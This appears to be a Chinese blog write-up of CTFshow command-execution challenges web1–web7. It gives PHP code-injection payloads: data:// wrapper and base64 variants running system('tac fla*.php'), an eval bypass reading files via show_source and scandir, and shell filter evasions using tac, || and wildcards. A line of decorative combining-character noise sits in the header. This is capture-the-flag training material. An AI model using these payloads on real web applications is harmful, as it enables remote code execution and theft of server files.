首页 > 其他分享 >CTFSHOW认真写写☝( ◠‿◠ )☝

CTFSHOW认真写写☝( ◠‿◠ )☝

时间:2024-11-18 20:13:58浏览次数:3  
标签:plain 写写 认真 flag CTFSHOW text output php data

苦命的ctfer//每天都要刷题Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫̫̹̗̹͈̼̠̖͍͚̥͈̮̼͕̠̤̯̻̥̬̗̼̳̤̳̬̪̹͚̞̼̠͕̼̠̦͚̫͔̯̹͉͉̘͎͕̼̣̝͙̱̟̹̩̟̳̦̭͉̮̖̭̣̣̞̙̗̜̺̭̻̥͚͙̝̦̲̱͉͖͉̰̦͎̫̣̼͎͍̠̮͓̹̹͉̤̰̗̙͕͇͔̱͕̭͈̳̗̭͔̘̖̺̮̜̠͖̘͓̳͕̟̠̱̫̤͓͔̘̰̲͙͍͇̙͎̣̼̗̖͙̯͉̠̟͈͍͕̪͓̝̩̦̖̹̼̠̘̮͚̟͉̺̜͍͓̯̳̱̻͕̣̳͉̻̭̭̱͍̪̩̭̺͕̺̼̥̪͖̦̟͎̻̰_Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫̫̹̗̹͈̼̠̖͍͚̥͈̮̼͕̠̤̯̻̥̬̗̼̳̤̳̬̪̹͚̞̼̠͕̼̠̦͚̫͔̯̹͉͉̘͎͕̼̣̝͙̱̟̹̩̟̳̦̭͉̮̖̭̣̣̞̙̗̜̺̭̻̥͚͙̝̦̲̱͉͖͉̰̦͎̫̣̼͎͍̠̮͓̹̹͉̤̰̗̙͕͇͔̱͕̭͈̳̗̭͔̘̖̺̮̜̠͖̘͓̳͕̟̠̱̫̤͓͔̘̰̲͙͍͇̙͎̣̼̗̖͙̯͉̠̟͈͍͕̪͓̝̩̦̖̹̼̠̘̮͚̟͉̺̜͍͓̯̳̱̻͕̣̳͉̻̭̭̱͍̪̩̭̺͕̺̼̥̪͖̦̟͎̻̰\

命令执行篇

web1

php伪协议

`?c=data://text/plain,<?php system("tac fla*.php")?>`

单独的 ?c=data://text/plain 并没有任何实际执行或展示数据的功能,它只是表达了数据传递的方式,需要后续指定数据内容,比如 ?c=data://text/plain,Hello%20World 就是传递纯文本 "Hello World"。

所以直接就可以输出flag

web2

相较于上一题过滤了php这个关键词

没关系绕过就行

把后面的改为base64即可

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

也可以`?c=data://text/plain,<?=system("tac fla*")?>`

web3

解释此函数

if(isset($_GET['c'])){ $c = $_GET['c'];

这里检查是否通过 GET 请求传递了一个名为 c 的参数。如果存在,就将其赋值给变量 $c

 ----

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); }

  • 使用 preg_match$c 进行正则过滤。它试图阻止一些常见的特殊字符(如数字、符号等),但这个过滤并不严格,因为:
    • 它没有包括所有可能的危险字符。
    • 它并没有防止所有 PHP 注入攻击的途径。
  • 如果 $c 中不包含这些特殊字符,代码将执行 eval($c)

------

尝试构造payload?c==show_source(next(array_reverse(scandir(getcwd()))));

show_source(next(array_reverse(scandir(getcwd()))));

这是结合了多个 PHP 函数,目的是显示当前工作目录中的某个文件的源代码

web4

/dev/null 是 Unix-like 操作系统中的一个特殊设备文件。它被称为“空设备”或“黑洞”,它的作用是吞噬任何写入它的数据,即丢弃输入的数据。当你将输出重定向到 /dev/null 时,所有数据都会被丢弃,不会被显示在终端或者保存到文件中。

比如,下面的命令将标准输出重定向到文件 output.txt

echo "Hello, world!" > output.txt

这样,"Hello, world!" 将不会显示在终端,而是保存到 output.txt 文件中。

由此我们需要阻止该命令执行

用分号即可

?c=cat flag.php;

web5

PING PING PING 

    来个buu'的题爽一爽

尝试进入flag.php中

flag本身被屏蔽了

那我们需要绕过flag即可

发现flag

web6

cat 和分号被过滤了,绕过他们两个就行

tac代替cat,可以用||和&来代替分号\

?c=tac flag.php||

web7

同上,只不过多了flag

用fla*代替就行

标签:plain,写写,认真,flag,CTFSHOW,text,output,php,data
From: https://blog.csdn.net/2401_87057954/article/details/143839340

相关文章

  • CTFshow信息收集
    CTFshow信息收集web1查看源代码就可以看到flagweb2ctrl++u得到flagweb3抓个包就可以查看flagweb4访问/robots.txt得到目录访问一下web5访问index.phps然后会下载一个文件文件中有flag。web6目录扫到www.zip啊?/fl000.txt得到了最终的flagweb7目录扫到访问web8还是扫目录访问web9访......
  • CTFshow命令执行
    CTFshow命令执行web291/?c=system("tacfla?.php");2/?c=system("tacf*.php>1.txt");再访问1.txtweb301<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-0400:12:34#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-0400:......
  • CTFshowPHP特性
    CTFshowPHP特性web89<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-1611:25:09#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-1815:38:51#@email:[email protected]#@link:https://ctfer.com*/include("flag.php");highlight......
  • ctfshow图片刷题
    misc1打开就是flagctfshow{22f1fb91fc4169f1c9411ce632a0ed8d}misc2改后缀名pngctfshow{6f66202f21ad22a2a19520cdd3f69e7b}misc3.bpg的图片用这个工具打开https://bellard.org/bpg/ctfshow{aade771916df7cde3009c0e631f9910d}misc4逐个改后缀名就可以得到图片,......
  • ctfshow-web入门-SSTI(web361-web368)上
    目录1、web3612、web3623、web3634、web3645、web3656、web3667、web3678、web3681、web361测试一下存在SSTI注入方法很多(1)使用子类可以直接调用的函数来打payload1:?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}payloa......
  • ctfshow 一言既出
    这道题目代码如下<?phphighlight_file(__FILE__);include"flag.php";if(isset($_GET['num'])){if($_GET['num']==114514){assert("intval($_GET[num])==1919810")ordie("一言既出,驷马难追!");ech......
  • 今年测试这工资是认真的吗?
    ......
  • 重温c语言之,7天开整,就是随便的写写,第十天
    一:操作符&:按位与----2进制|:按位或----2进制^:按位异或----2进制~:按位取反---2进制&:先上代码,然后解释1#define_CRT_SECURE_NO_WARNINGS23#include<stdio.h>4intmain()5{6inta=3;7intb=-5;8intc=a&......
  • 重温c语言之,7天开整,就是随便的写写,第九天
    这次照着网站上的内容,写了一个简单的小游戏,3字棋,其实也可以n字棋附上代码,这里是:game.h1#pragmaonce2#include<stdio.h>3#include<stdlib.h>4#include<time.h>56//游戏代码的声明(函数声明,符号定义)78#defineRow39#defineCol31011//初始化棋......
  • 重温c语言之,7天开整,就是随便的写写,第八天
    一:函数1、递归题目:求n的阶乘(不考虑溢出)上代码1#include<stdio.h>2intfactorial(intn){3if(n>1){4returnn*(factorial(n-1));5}6else7{8return1;9}10}11#include<stdio.h>12in......